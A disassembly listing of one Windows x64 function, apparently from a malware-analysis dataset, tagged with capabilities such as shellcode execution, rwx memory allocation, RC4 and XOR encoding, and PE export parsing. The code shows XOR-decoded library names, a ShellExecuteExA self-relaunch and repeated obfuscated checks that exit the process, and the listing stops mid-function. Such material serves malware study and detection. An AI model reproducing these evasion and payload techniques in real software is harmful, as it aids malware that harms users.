Function at 0x14002c300
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.14009af70
sub rsp, rax
mov rax, qword [0x14010d700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x50]
mov ebx, 0x145cd41f
mov r13d, 0xa892da90
mov r15d, 0x14f86770
mov r14d, 0x49cd3990
cmp rax, r13
jne 0x14002c40c
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, r14d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c3ec
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c3ec
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c40c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov edi, 0xa892da90
mov ecx, edi
call fcn.14001b6e4
mov rax, qword gs:[0x50]
mov r12d, 0x109b63cf
cmp rax, r13
jne 0x14002c4c8
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c4a8
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c4a8
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c4c8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
movabs rsi, 0xf02c856a42fbcf00
cmp rax, r13
jne 0x14002c57c
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c55c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c55c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c57c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov ecx, edi
call fcn.14002b8a0
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002c63c
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c61c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c61c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c63c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002c6e6
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c6c6
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c6c6
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c6e6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
lea rdx, [0x140101670]
lea rcx, [rbp + 0x998]
call fcn.14001b0a8
mov rdx, rax
mov ecx, edi
call fcn.14001cb08
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002c7bc
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c79c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c79c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c7bc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002c866
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c846
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c846
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c866
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov dword [rbp + 0x90], 0xdfc0268b
mov dword [rbp + 0x94], 0xab5d6aab
mov word [rbp + 0x98], 4
xor r14d, r14d
mov edi, r14d
mov r12d, 0xf2601420
mov qword [rsp + 0x20], r12
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.14003ba94
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x14002c88f
mov byte [rbp + 0x99], r14b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x50]
cmp rax, r13
mov r12d, 0x109b63cf
jne 0x14002c998
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c978
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c978
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c998
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002ca42
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ca22
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ca22
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ca42
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov dword [rbp + 0x1f0], 0xaf438621
mov dword [rbp + 0x1f4], 0x77f830d5
mov dword [rbp + 0x1f8], 0x413932c0
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r14
mov esi, 0xf2601420
mov qword [rsp + 0x20], rsi
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14003b734
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x14002ca70
mov byte [rbp + 0x1fc], r14b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x50]
cmp rax, r13
movabs rsi, 0xf02c856a42fbcf00
jne 0x14002cb6c
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cb4c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cb4c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cb6c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14002bacc
test eax, eax
jne 0x14002ce0e
mov edi, r14d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400c47d0
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14002cc84
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400c47d0
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r14
mov dword [rbp - 0x70], 0xc0b859fd
mov word [rbp - 0x6c], 0xa2
mov esi, 0xf2601420
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14003ba28
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x14002cbf4
mov byte [rbp - 0x6b], r14b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r14b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r14
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r14
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14003b3e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14002cc89
mov esi, 0xf2601420
mov word [rsp + 0x78], pe_nt_image_headers64
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, pe_nt_image_headers64
lea rcx, [rsp + 0x78]
call fcn.14003b8e8
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r14b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14002b94c
mov rbx, rax
movdqa xmm0, xmmword [0x140103250]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1401030e0]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0x4823c5ae
mov dword [rbp + 0xc1c], 0x85f15ee3
mov dword [rbp + 0xc20], 0xd4c8e615
mov word [rbp + 0xc24], 0x83
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.14003b9bc
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x14002cd0e
mov byte [rbp + 0xc25], r14b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14003ca0c
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14003cbcc
lea rcx, [rbp + 0x9d8]
call fcn.14003c524
lea rcx, [rbp + 0x9b8]
call fcn.14003c524
movdqa xmm0, xmmword [0x140103180]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0xee
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14003b514
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x14002cda7
mov byte [rbp + 0x2b9], r14b
lea rcx, [rbp + 0x11a8]
call fcn.14003c178
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002ceb8
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ce98
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ce98
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ceb8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002cf79
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cf59
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cf59
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cf79
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002d023
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d003
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d003
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d023
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002d0cd
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d0ad
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d0ad
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d0cd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002d188
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d168
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d168
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d188
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
xor ecx, ecx
call fcn.1400a2a44
mov rbx, rax
mov word [rsp + 0x7c], 0xdb
mov r12d, 0xf2601420
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, 0xdb
lea rcx, [rsp + 0x7c]
call fcn.14003b8e8
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r14b
mov dword [rbp - 0x60], 0x6c7aed56
mov word [rbp - 0x5c], 0xd801
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r14
mov qword [rsp + 0x20], r12
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14003b7a4
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x14002d1d7
mov byte [rbp - 0x5a], r14b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400a5f24
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002d2c8
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d2a8
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d2a8
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d2c8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002d385
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d365
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d365
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d385
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov ecx, 2
call fcn.1400a2a44
mov rbx, rax
mov word [rbp - 0x80], 0xde
mov r12d, 0xf2601420
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, 0xde
lea rcx, [rbp - 0x80]
call fcn.14003b8e8
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r14b
mov dword [rbp - 0x38], 0xf7f510df
mov dword [rbp - 0x34], 0xfd1daf
mov rdi, r14
mov qword [rsp + 0x20], r12
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14003b950
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x14002d3cf
mov byte [rbp - 0x31], r14b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400a5f24
mov rax, qword gs:[0x50]
cmp rax, r13
mov r12d, 0x109b63cf
jne 0x14002d4c5
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d4a5
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d4a5
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d4c5
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002d56f
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d54f
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d54f
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d56f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov ecx, 1
call fcn.1400a2a44
mov rbx, rax
mov word [rbp - 0x7c], 0xde
mov r12d, 0xf2601420
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, 0xde
lea rcx, [rbp - 0x7c]
call fcn.14003b8e8
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r14b
mov dword [rbp - 0x30], 0xf7f510df
mov dword [rbp - 0x2c], 0xfd1daf
mov rdi, r14
mov qword [rsp + 0x20], r12
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14003b950
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x14002d5b9
mov byte [rbp - 0x29], r14b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400a5f24
mov rax, qword gs:[0x50]
cmp rax, r13
mov r12d, 0x109b63cf
mov ebx, 0x145cd41f
jne 0x14002d6c4
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d6a4
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d6a4
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d6c4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002d76e
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d74e
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d74e
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d76e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x1401031e0]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x140103070]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1401032d0]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x1ea5532
mov dword [rbp + 0xd4c], 0xa4c3617b
mov dword [rbp + 0xd50], 0xf6672c44
mov word [rbp + 0xd54], 0xbdd0
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r14
mov r12d, 0xf2601420
mov qword [rsp + 0x20], r12
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.14003b87c
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x14002d7d6
mov byte [rbp + 0xd56], r14b
lea rcx, [rbp + 0xd18]
call fcn.14001af4c
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002d8c7
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d8a7
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d8a7
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d8c7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002d982
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
